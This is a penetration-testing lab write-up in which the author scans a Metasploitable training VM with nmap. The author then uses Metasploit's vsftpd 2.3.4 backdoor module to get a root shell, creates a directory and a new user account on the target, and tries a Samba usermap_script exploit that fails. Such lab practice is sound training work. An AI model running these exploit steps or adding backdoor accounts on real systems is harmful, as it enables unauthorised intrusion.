



Metasploitable Penetration Testing

Name: FIREWALL FAIRY

Date: 8 September, 2026

1. Introduction

For this penetration testing practice, I used **Kali Linux** as the attacker machine and **Metasploitable** as the vulnerable target machine.

The main goal was to identify open services, find vulnerable software, select a suitable exploit, and verify whether the vulnerability could be used to gain access to the target.

2. Finding the Metasploitable IP Address

First, I identified the IP address of the Metasploitable server on the local virtual network.

The target IP address was:

192.168.47.128

The Metasploitable machine was successfully running and reachable from Kali Linux.

3. Scanning the Target

After finding the IP address, I performed an Nmap scan from Kali Linux.

```
nmap -Pn -sV 192.168.47.128
```

The purpose of this scan was to find:

- Open ports
- Running services
- Service versions
- Possible vulnerable applications

The scan showed that the target had many open services.

Some important results were:

Port	Service	Version
21	FTP	vsftpd 2.3.4
22	SSH	OpenSSH 4.7p1
23	Telnet	Linux telnetd
25	SMTP	Postfix
53	DNS	BIND 9.4.2
80	HTTP	Apache 2.2.8
139	SMB	Samba
445	SMB	Samba
1524	Bindshell	Metasploitable root shell
3306	MySQL	5.0.51a
5432	PostgreSQL	8.3
5900	VNC	VNC 3.3
6667	IRC	UnrealIRCd
8180	HTTP	Apache Tomcat

This showed that the server was running several old services.

4. Identifying a Vulnerable FTP Service

During the Nmap scan, I noticed that **FTP port 21** was open.

The scan identified the FTP service as:

```
vsftpd 2.3.4
```

The version **vsftpd 2.3.4** is known to be associated with a backdoor vulnerability. Because the service version looked old and vulnerable, I decided to investigate it further using Metasploit.

5. Searching for an Exploit

I opened Metasploit Framework on Kali Linux:

```
msfconsole
```

Then I searched for an exploit related to the detected FTP version:

```
search vsftpd 2.3.4
```

Metasploit returned the following module:

```
exploit/unix/ftp/vsftpd_234_backdoor
```

The module description showed:

```
VSFTPD v2.3.4 Backdoor Command Execution
```

This matched the version identified by the Nmap scan.

6. Selecting the Exploit

I selected the discovered exploit:

```
use exploit/unix/ftp/vsftpd_234_backdoor
```

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

Then I checked the available options:

```
show options
```

The important options included:

```
RHOSTS
RPORT
```

The default FTP port was **21**.

7. Setting the Target IP

Initially, I accidentally entered an incorrect IP address:

```
92.168.47.128
```

The exploit failed because the target was unreachable.

The error showed a connection timeout.

I then corrected the target IP address:

```
set RHOSTS 192.168.47.128
set RPORT 21
```

After setting the correct IP address, I ran the exploit again.

8. Successful FTP Exploitation

I executed the exploit:

```
exploit
```

Metasploit detected the FTP banner:

```
220 (vsFTPd 2.3.4)
```

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.47.128:21 - Banner: 220 (vsFTPd 2.3.4) & X (workgroup: WORKGROUP)
[*] 192.168.47.128:21 - USER: 331 Please specify the password. group: WORKGROUP)
[+] 192.168.47.128:21 - Backdoor service has been spawned, handling...
[+] 192.168.47.128:21 - UID: uid=0(root) gid=0(root) rlogin
[*] Found shell.
[*] Command shell session 1 opened (192.168.47.129:45867 → 192.168.47.128:6200) at 2026-09-07 06:44:46 -0400
```

The exploit successfully triggered the vulnerable backdoor service.

The important result was:

```
UID: uid=0(root) gid=0(root)
Found shell.
Command shell session 1 opened
```

This means that the exploitation successfully provided a **root-level command shell** on the Metasploitable machine.

9. Post-Exploitation

After obtaining the shell, I performed some basic verification commands.

Checking the network configuration

I used:

```
ifconfig
```

The output confirmed that the target machine had the IP:

```
192.168.47.128
```

The network interface information also showed that the machine was connected to the same virtual network.

Checking the hostname

I used:

```
hostname
```

The result was:

```
metasploitable
```

This confirmed that I had access to the intended target machine.

Checking the current user

I used:

```
whoami
```

The result was:

```
root
```

This confirmed that the obtained shell had **root privileges**.

10. Testing File-System Access

Since I had root access, I checked the file system using:

```
ls
```

I could see directories such as:

```
bin  
boot  
dev
```

```
etc  
home  
root  
usr  
var
```

I also created a test directory:

```
mkdir aishu
```

Then I verified that the directory was created successfully.

This demonstrated that the compromised account had permission to modify the target's file system.

11. Creating a Test User

To further demonstrate the level of access, I created a test user:

```
useradd bci10  
passwd bci10
```

I set a password for the test account.

The system confirmed:

```
passwd: password updated successfully
```

Then check on metasploit to cross check that it is finally working and checking by newly create user and pass which was:

```
Login with msfadmin/msfadmin to get started

metasploitable login: bci10
Password:
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No directory, logging in with HOME=/
bci10@metasploitable:/$ whoami
bci10
bci10@metasploitable:/$ ls
aishu  cdrom  home    lib      mnt      proc  srv  usr
bin    dev    initrd  lost+found  nohup.out  root  sys  var
boot   etc    initrd.img  media    opt        sbin  tmp  vmlinuz
bci10@metasploitable:/$
```

Yeah it successfully working .

I then used on kali:

```
who
```

to check the logged-in users.

The output showed both the existing user and the root session.

This demonstrated that the obtained root privileges allowed administrative actions on the target.

12. Ending the Session

After completing the verification, I exited the shell:

```
exit
```

Metasploit confirmed that the command shell session was closed.

13. Additional SMB Enumeration

After testing the FTP vulnerability, I also investigated the SMB service.

The Nmap scan showed that ports **139 and 445** were open and running Samba.

I searched Metasploit for an SMB version detection module:

```
search smb_version
```

I selected:

```
auxiliary/scanner/smb/smb_version
```

Then I configured the target:

```
set RHOSTS 192.168.47.128
```

The SMB scanner identified the service as:

```
Unix (Samba 3.0.20-Debian)
```

14. Searching for a Samba Exploit

Because Samba 3.0.20 was identified, I searched Metasploit for a related exploit:

```
search Samba 3.0.20
```

Metasploit returned:

```
exploit/multi/samba/usermap_script
```

The module was described as:

```
Samba "username map script" Command Execution
```

I selected the module and reviewed its options.

15. Samba Exploitation Attempt

I configured the exploit and attempted to run it.

However, the exploit did **not** succeed.

The target was accidentally configured as:

```
192.168.47.129
```

instead of the Metasploitable target:

```
192.168.47.128
```

The exploit therefore failed with:

```
Connection refused
```

and no session was created.

Therefore, this Samba exploitation attempt should be recorded as **unsuccessful**, not as a successful compromise.